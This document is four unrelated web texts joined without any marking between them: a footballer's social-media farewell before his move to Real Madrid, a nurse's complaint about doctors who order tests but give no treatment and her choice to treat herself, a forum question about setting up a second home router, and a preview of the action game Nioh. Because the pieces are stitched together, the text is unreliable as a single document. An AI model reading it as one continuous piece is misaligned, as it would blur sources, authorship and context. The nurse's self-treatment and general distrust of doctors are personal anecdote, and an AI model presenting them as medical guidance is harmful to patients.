Jovic: "Real Madrid opens a huge door for me"
A post shared by Luka Jovic (@lukajovic)
In an Instagram post, Jovic wrote: "Dear Eintracht fans, as you have already read, I will move to Real Madrid. Of course, I would like to take this opportunity to contact you here again with a few words.
"I really enjoyed the last two years at Eintracht Frankfurt. I met a lot of great people and played in a fantastic club, which was also made by the fans to something very special.
"We can be proud of our achievements. I will never forget this Europa League season with you! The highlight was of course the DFB Cup win 2017-2018 in Berlin! That's why it's not easy for me to leave Frankfurt.
"However, Real Madrid opens a huge door for me to become an even bigger footballer. Every child has this dream of playing at such a club. My dream comes true now.

I have been noticing a disturbing trend in the Medical field lately with "catch and release" as I phrase it. Setting up the appointment, the Dr only performing tests and verbal consulting, but not providing any treatment. The Drs are getting paid for the visits and tests, but doing absolutely nothing for the patients.
I gave up, as an RN of many years, I know what good care should look like and I have not received it in a long time. I realize I have a very rare syndrome that most do not understand but that does not mean I am not entitled to be treated with respect and dignity. Instead I am shuffled from one doctor to another or simply written off as "crazy". I have subnormal blood pressure so I have to explain to my providers every time I go what is right for me. I have gotten to the point that I just stay home and treat myself. I have a great network of nurses and nurse practitioners who I can depend on without having to go but once a year to my primary care for prescription renewal. It is just not worth the humiliation anymore.


How can I set up a second router in my home to increase the wireless range? We have one router at the top of the house, but it has four floors, and it's not possible to get a wireless signal. My friend gave me a second router (a decent netgear one) and I want to set it up on the second bottom floor so that it is possible to access the internet anywhere within the house. Any help on this is much appreciated, thank you in advance.
Man, lucky that I bumped into your post. Was looking for an answer to the same question as well and hope we will get one as soon as someone comes in!! I am also planning to set up a second router so that I can have the advantage of the internet in the entire house!!


Being a Team Ninja fan, in recent years, has been a little difficult. Founded by Tomonobu Itagaki in 1995, this internal studio has always been Tecmo and then latterly Koei-Tecmo's crack team, the only band of developers that could take on Capcom head-to-head in the action stakes and put up a fight. Dead or Alive has its own fanbase, but for me it is 2004's Ninja Gaiden and 2008's Ninja Gaiden II that made Team Ninja special.
Shortly after Ninja Gaiden II was completed, Itagaki departed acrimoniously. Subsequent years saw Team Ninja struggling somewhat with the franchise that mattered most, with Ninja Gaiden 3 an under-baked disappointment while Yaiba: Ninja Gaiden Z was an ill-conceived spinoff that did little to counter the perception that - with its founder and totemic figure gone - Team Ninja was somewhat rudderless. This was only one part of the story, however: the studio continued to co-develop great titles like Metroid: Other M, Toukiden: Kiwami, and genre pieces like Hyrule Warriors. The talent, clearly, is still there. But the brilliant ninja action was missing - until Nioh.
Nioh marks a sea-change in Team Ninja's approach to action games, and something of a melancholy one for hoary old warriors like myself. The traditional 3D hack-and-slash seems to be something of a dying genre - the games being made, in recent years, are better than ever, but the sales continue to decrease. The audience wants something different from the action genre than a linear story where you fight endless enemies. And Nioh is about giving new form to the classic action that Team Ninja excels at - and does it ever.
I recently sat down with the latest build of the game for a few hours - as well as having played the alpha and beta releases on PS4 last year. Initially the most striking thing about Nioh is the blond-haired blue-eyed hero, William, who is (very) loosely based on the real-life story of one William Adams, an Englishman who in the 16th century became one of the few western samurai.
The basic concept does sound quite Souls-y. The levels are a series of 3D environments designed for replay, with multiple routes throughout and unlockable shortcuts. Each is filled with enemies that, given the opportunity, can easily kill William. And if he does die, his gathered Amrita (the game's currency) remains at the spot of death to be re-gathered.
There are other similarities, but listing them risks missing the bigger picture that this is a very different kind of game, with a combat system that has evolved from that Ninja Gaiden lineage rather than Fromsoft's original (and brilliant) take on melee combat. Not the least of differences is that William's weapon types are divided into four categories, each of which can be separately levelled, and on top of this he fights using stances. Very roughly, high stance is all-out attack, medium is about blocking, and low stance is about smooth dodges and counters.
But where Ninja Gaiden was a game about fighting overwhelming crowds of enemies, here fighting multiple opponents is a remarkably easy way to die. Enemies don't hesitate to gang up and press the advantage, and managing the Ki (stamina) meter is extremely tough in these situations. And there's a huge emphasis here on exactly what equipment you're wielding.
Fighting in full samurai armour with a spear, for example, felt glorious because this particular location ('Defiled Holy Mountain') had lots of hidden ninjas - who are deadly and annoying at a distance with their shuriken and rope weapons but, if you can close with them, have very little chance. The principles behind Nioh's armour design are exceptional: wearing a suit of heavy plate noticeably slows William down, but also makes him feel like a real brute against more lightly-armoured enemies. When you're tooled-up and get close to an enemy that's basically wearing a jumpsuit, you feel that impact in the hands.
It's that Ki bar that comes to dominate though. At one point I fought a mad bird-headed thing with a staff that specialised in roundhouse kicks, and these tougher enemies really show what Nioh's combat system is about - which is managing Ki under heavy assault. Most of my deaths to this creature, and in later boss fights, were because I was doing well but, at some point, spammed dodge in a panic.
Unlike the Souls games, where running out of stamina means you can only walk for a second or two, in Nioh William stops completely in exhaustion - and is a sitting duck for enemies that don't hesitate to take advantage. It's a brutality shown only in glimpses at this stage, but it's there, and one's thoughts turn to that characteristic of Ninja Gaiden - of all the thirdperson beat-em-ups, that's the one which never hesitates to kill you.
In this respect the revenants remain one of Nioh's most inspired and original touches - 'gravestones' of fallen warriors, both AI and (in the full game) other players, which you can summon to fight. This lets you risk it all in optional fights against opponents that have no safety wheels - noticing their gravesites always raises the question. These enemies fight with much more skill than the regular mobs (themselves no slouches) and are designed for impromptu one-on-one encounters that go down to the wire - so often I'd get one down to near-death, relax a little, and end up shanked. You always want to summon them. You learn not to do it lightly.
The boss fights are even more intense, not least because they can be incredibly aggressive. The stamina management required is so hard to keep a track of under pressure, and it comes down to not panicking - which of course is so much easier said than done. They're often set in great scenes, too: a boss called the Ogress is fought in a rectangular arena filled with scarlet flowers, and herself is a hairy giant in a Kabuki mask, with raking claws and a devastating pounce.
There really are some great enemy designs here - like a tiny cyclops dude who backstep-floats around just out of range, then suddenly jumps in and gives you a big old lick. And if he gets you twice, he temporarily transforms into a gigantic monster. A flaming wheel initially seems reminiscent of the wheel skeletons of Dark Souls, until you fight it and realise fire will hurt your weapon hand. At one point I ran up against a massive troll-thing with a neon-green, ethereal tongue which it whips around itself, alternating these confusing, hard-to-dodge attacks with devastating physical charges.
Having been killed by this monstrosity several times, I decided to show it a clean pair of heels in order to see as much as I could in the time allowed. After the creature was a narrow bridge. As I sprinted, his footsteps clomping behind, I noticed a small fiery mark on the ground - and as I noticed, it exploded and sent William flying off the bridge to his death, and on fire for good measure. This kind of humour, and smart design with it too, is where the Souls comparisons do feel appropriate. Oh and ledges - expect to dodge backwards to your death quite a few times.
One of the most striking aspects of Nioh's release schedule and demos was how much changed following audience feedback and, though it's hard to be specific about the minutiae, this build again felt like it had been tuned - a little bit smoother, a few new elements in familiar levels, and with a tiny difference to the katana's parry windows. At one point I loaded the 'wrong' level, and found a familiar environment devastated and filled with new, demonic enemies - a clue as to where the endgame is going, and replayability will lie.
There were other elements, too, hinting towards what will keep people playing - which was always the problem for Ninja Gaiden, in that just playing the campaign again and again eventually becomes dull. The little frog-spirit-god things, Kodama, can be found around the levels - sending them back to the shrines (save points) allows you to receive certain blessings, which offer buffs to various drop rates (armour, weapons, the currency of amrita). This matters because Nioh is a loot-focused game, with some items set and some randomised, and the intention is to make players change their fighting styles according to the gear that drops.
Nioh feels like a genuine step forward for Team Ninja - and in a way, the game that Ninja Gaiden 3 should have been. The combat really hits the heights once you get an idea of what's going on, and the menagerie of beasties here showcases a wonderfully macabre imagination. Don't take the Souls comparisons too literally. Nioh does what every game should do, which is look at Fromsoft's brilliant works, take inspiration from them, and build something new. There may be a lot going on here, but this is fundamentally classic Team Ninja - which is to say, it's a game all about kicking arse, and loving it.
